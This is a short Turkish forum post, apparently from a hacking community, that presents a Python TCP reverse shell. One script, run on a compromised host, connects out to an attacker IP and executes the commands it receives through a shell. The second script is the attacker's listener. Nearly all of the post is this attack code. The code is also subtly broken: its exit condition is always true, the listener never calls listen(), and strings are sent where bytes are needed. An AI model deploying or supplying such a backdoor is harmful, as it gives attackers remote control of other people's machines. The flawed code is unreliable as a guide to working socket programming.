Hoşgeldin Misafir

Python TCP Reverse Shell

MiRaT

13 Kas 2017
2,077 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
-Reverse Shell Nedir:--

-"Ele geçirilen sunucu; netcat, yada python, perl vb programlama dilleri ile yazılmış scriptler ile saldırganın bilgisayarının dinlemede olduğu bir portuna bağlantı talebi gerçekleştirmesine dayanmaktadır."--


-Python ile yazdığım örnek:--


--Server.py---



Kod:
import socket
import subprocess
port = 6161
ip = "192.168.0.28"
def yolla():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,port))

    while True:
        komut = s.recv(1024)

        if 'cikis' or 'exit' or 'finish' in komut:
            s.close()
            break
        else:
            komut_calistir = subprocess.Popen(komut, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
            s.send(komut_calistir.stdout.read())
            s.send(komut_calistir.stderr.read())
yolla()

----shell.py-----



Kod:
import socket
port = 6161
ip = "192.168.0.28"
def yolla():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind((ip,port))

    socketaddr,ipaddr = s.accept()
    print('[+]Baglanti basariyla saglandi ', ipaddr)
    while True:
        komut = input('[*]Komut> ')
        if 'cikis' or 'exit' or 'finish' in komut:
            socketaddr.send('cikis')
            socketaddr.close()
            break
        else:
            socketaddr.send(komut)
            print(socketaddr.recv(1024))
yolla()